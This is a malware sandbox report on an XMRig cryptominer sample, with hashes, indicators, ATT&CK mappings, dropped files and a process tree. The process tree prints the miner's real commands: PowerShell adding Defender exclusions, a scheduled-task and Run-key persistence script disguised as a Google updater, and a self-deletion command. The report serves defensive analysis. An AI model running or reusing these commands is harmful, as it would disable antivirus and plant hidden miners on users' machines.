xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
460s
max time network
1784s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27/01/2024, 20:43

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General

Target

qM5GMXBk6hJE6Y5e (17).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1888 created 1220	1888	qM5GMXBk6hJE6Y5e (17).exe	12
PID 1888 created 1220	1888	qM5GMXBk6hJE6Y5e (17).exe	12
PID 1888 created 1220	1888	qM5GMXBk6hJE6Y5e (17).exe	12
PID 1888 created 1220	1888	qM5GMXBk6hJE6Y5e (17).exe	12
PID 2408 created 1220	2408	updater.exe	12
PID 2408 created 1220	2408	updater.exe	12
PID 2408 created 1220	2408	updater.exe	12
PID 2408 created 1220	2408	updater.exe	12
PID 1480 created 1220	1480	conhost.exe	12
PID 2408 created 1220	2408	updater.exe	12

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral5/memory/2864-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2864-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2672	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2408	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2516	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral5/memory/2864-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2864-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2408 set thread context of 1480	2408	updater.exe	54
PID 2408 set thread context of 2864	2408	updater.exe	48

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (17).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2288	schtasks.exe
780	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1256	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1070a9e27a51da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1888	qM5GMXBk6hJE6Y5e (17).exe
1888	qM5GMXBk6hJE6Y5e (17).exe
2000	powershell.exe
1888	qM5GMXBk6hJE6Y5e (17).exe
1888	qM5GMXBk6hJE6Y5e (17).exe
1440	powershell.exe
1888	qM5GMXBk6hJE6Y5e (17).exe
1888	qM5GMXBk6hJE6Y5e (17).exe
1888	qM5GMXBk6hJE6Y5e (17).exe
1888	qM5GMXBk6hJE6Y5e (17).exe
2716	powershell.exe
2408	updater.exe
2408	updater.exe
2168	powershell.exe
2408	updater.exe
2408	updater.exe
1916	powershell.exe
2408	updater.exe
2408	updater.exe
2408	updater.exe
2408	updater.exe
1480	conhost.exe
1480	conhost.exe
2408	updater.exe
2408	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	2408	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1256	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1256	WMIC.exe
Token: SeSecurityPrivilege	1256	WMIC.exe
Token: SeTakeOwnershipPrivilege	1256	WMIC.exe
Token: SeLoadDriverPrivilege	1256	WMIC.exe
Token: SeSystemtimePrivilege	1256	WMIC.exe
Token: SeBackupPrivilege	1256	WMIC.exe
Token: SeRestorePrivilege	1256	WMIC.exe
Token: SeShutdownPrivilege	1256	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1256	WMIC.exe
Token: SeUndockPrivilege	1256	WMIC.exe
Token: SeManageVolumePrivilege	1256	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1256	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1256	WMIC.exe
Token: SeSecurityPrivilege	1256	WMIC.exe
Token: SeTakeOwnershipPrivilege	1256	WMIC.exe
Token: SeLoadDriverPrivilege	1256	WMIC.exe
Token: SeSystemtimePrivilege	1256	WMIC.exe
Token: SeBackupPrivilege	1256	WMIC.exe
Token: SeRestorePrivilege	1256	WMIC.exe
Token: SeShutdownPrivilege	1256	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1256	WMIC.exe
Token: SeUndockPrivilege	1256	WMIC.exe
Token: SeManageVolumePrivilege	1256	WMIC.exe
Token: SeLockMemoryPrivilege	2864	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1440 wrote to memory of 2288	1440	powershell.exe	32
PID 1440 wrote to memory of 2288	1440	powershell.exe	32
PID 1440 wrote to memory of 2288	1440	powershell.exe	32
PID 2672 wrote to memory of 2708	2672	cmd.exe	36
PID 2672 wrote to memory of 2708	2672	cmd.exe	36
PID 2672 wrote to memory of 2708	2672	cmd.exe	36
PID 2716 wrote to memory of 2572	2716	powershell.exe	39
PID 2716 wrote to memory of 2572	2716	powershell.exe	39
PID 2716 wrote to memory of 2572	2716	powershell.exe	39
PID 2516 wrote to memory of 2408	2516	taskeng.exe	42
PID 2516 wrote to memory of 2408	2516	taskeng.exe	42
PID 2516 wrote to memory of 2408	2516	taskeng.exe	42
PID 1916 wrote to memory of 780	1916	powershell.exe	55
PID 1916 wrote to memory of 780	1916	powershell.exe	55
PID 1916 wrote to memory of 780	1916	powershell.exe	55
PID 2408 wrote to memory of 1480	2408	updater.exe	54
PID 1376 wrote to memory of 1256	1376	cmd.exe	49
PID 1376 wrote to memory of 1256	1376	cmd.exe	49
PID 1376 wrote to memory of 1256	1376	cmd.exe	49
PID 2408 wrote to memory of 2864	2408	updater.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1220
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (17).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (17).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1440
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2288
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (17).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:780
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2416
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1376
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1480

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2708

C:\Windows\system32\taskeng.exe
taskeng.exe {6D29C0FF-6829-4913-A43D-71EB2336BB83} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2408

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2572

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
171KB

MD5
0d8af696431cca528b3b110da49fd4bf

SHA1
0277b5e48d3116087246c95dd134f4c74a0ea3a0

SHA256
827fccde360a08207144bea4b871ce6c9793c86b6cd9774fbfa489afbc53b9f6

SHA512
7e58e6a656f493af24101422a908c97d8b469e1178eba12418daa2b19b5b08be96e9a72e4e1d32f462c3de681b22de92e19f094f810303a71d83e1d9cb68545a

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
113KB

MD5
456336b7b58f266d1cb465c33a545514

SHA1
0e88942e3ba557a6940aef5201070dc21e3d7a2a

SHA256
db772b37df36920747dbcbe7e1bc661cfebc09ec320806dac8f257176b3a530e

SHA512
1233e16c63b931420d1020aeb241c3a099bce29091f229094168f6fff5cb76452a32143ba25addd789c5c65b94897f810dab379625ffe6bb31eb7093200d799d

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TD2PS5IB9OWVEZGZ4E7S.temp

Filesize
7KB

MD5
be805a5c984736075729a95de5ac5dc2

SHA1
0e04ce2be7aa33daeb3eedea6bde58b5f225b6d1

SHA256
2596ab0bd9c3882f4f70859221f6e5918d2c6d6e0a99ac1318689fd7a3b9de61

SHA512
470e8df9fa4393aaf5eba77b7114b171ecc2f72d247e13751dfb1b1645ae1a41a0860c1237d508b293f3e0e63401a4b894216efb75a208a0a36fbee97b859f2f

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
172KB

MD5
8c1b4630727189c1f49f6a211f220b27

SHA1
94639b04f289ebbaf6eeb3e2cf82a55ab927c17d

SHA256
54b66ad54b6f4c53694aedeb710b5264840a3bcad683f904107e1616c23f23ff

SHA512
6464f255a73eb3a35371a213693d8f5a75b9c15c606ea87832de567b4746a89b621b54ee1c9a30a3b29704129e327c10523d36054126414b3386696c145b8154

Download Submit
memory/1440-26-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Filesize
512KB

Download
memory/1440-27-0x000007FEF4B20000-0x000007FEF54BD000-memory.dmp

Filesize
9.6MB

Download
memory/1440-24-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Filesize
512KB

Download
memory/1440-25-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Filesize
512KB

Download
memory/1440-19-0x000000001B450000-0x000000001B732000-memory.dmp

Filesize
2.9MB

Download
memory/1440-20-0x000007FEF4B20000-0x000007FEF54BD000-memory.dmp

Filesize
9.6MB

Download
memory/1440-22-0x0000000001D50000-0x0000000001D58000-memory.dmp

Filesize
32KB

Download
memory/1440-21-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Filesize
512KB

Download
memory/1440-23-0x000007FEF4B20000-0x000007FEF54BD000-memory.dmp

Filesize
9.6MB

Download
memory/1480-77-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1480-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1888-29-0x000000013FE70000-0x0000000140081000-memory.dmp

Filesize
2.1MB

Download
memory/1888-0-0x000000013FE70000-0x0000000140081000-memory.dmp

Filesize
2.1MB

Download
memory/1916-54-0x0000000001430000-0x00000000014B0000-memory.dmp

Filesize
512KB

Download
memory/1916-57-0x0000000001430000-0x00000000014B0000-memory.dmp

Filesize
512KB

Download
memory/1916-56-0x0000000001430000-0x00000000014B0000-memory.dmp

Filesize
512KB

Download
memory/1916-58-0x0000000001430000-0x00000000014B0000-memory.dmp

Filesize
512KB

Download
memory/1916-59-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-55-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-53-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2000-10-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2000-13-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2000-12-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2000-7-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2000-8-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2000-11-0x0000000002B30000-0x0000000002BB0000-memory.dmp

Filesize
512KB

Download
memory/2000-5-0x000000001B490000-0x000000001B772000-memory.dmp

Filesize
2.9MB

Download
memory/2000-6-0x0000000001D60000-0x0000000001D68000-memory.dmp

Filesize
32KB

Download
memory/2000-9-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-50-0x0000000001670000-0x00000000016F0000-memory.dmp

Filesize
512KB

Download
memory/2168-46-0x000007FEF4B20000-0x000007FEF54BD000-memory.dmp

Filesize
9.6MB

Download
memory/2168-49-0x0000000001670000-0x00000000016F0000-memory.dmp

Filesize
512KB

Download
memory/2168-52-0x000007FEF4B20000-0x000007FEF54BD000-memory.dmp

Filesize
9.6MB

Download
memory/2168-51-0x0000000001670000-0x00000000016F0000-memory.dmp

Filesize
512KB

Download
memory/2168-47-0x0000000001670000-0x00000000016F0000-memory.dmp

Filesize
512KB

Download
memory/2168-48-0x000007FEF4B20000-0x000007FEF54BD000-memory.dmp

Filesize
9.6MB

Download
memory/2408-45-0x000000013FBA0000-0x000000013FDB1000-memory.dmp

Filesize
2.1MB

Download
memory/2408-66-0x000000013FBA0000-0x000000013FDB1000-memory.dmp

Filesize
2.1MB

Download
memory/2716-35-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-40-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2716-36-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2716-41-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-37-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-38-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2716-39-0x00000000029D0000-0x0000000002A50000-memory.dmp

Filesize
512KB

Download
memory/2864-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2864-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2864-69-0x0000000000EC0000-0x0000000000EE0000-memory.dmp

Filesize
128KB

Download
memory/2864-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2864-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2864-75-0x0000000000EC0000-0x0000000000EE0000-memory.dmp

Filesize
128KB

Download
memory/2864-76-0x0000000000F20000-0x0000000000F40000-memory.dmp

Filesize
128KB

Download
memory/2864-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2864-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2864-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2864-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2864-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2864-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2864-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2864-68-0x0000000000100000-0x0000000000120000-memory.dmp

Filesize
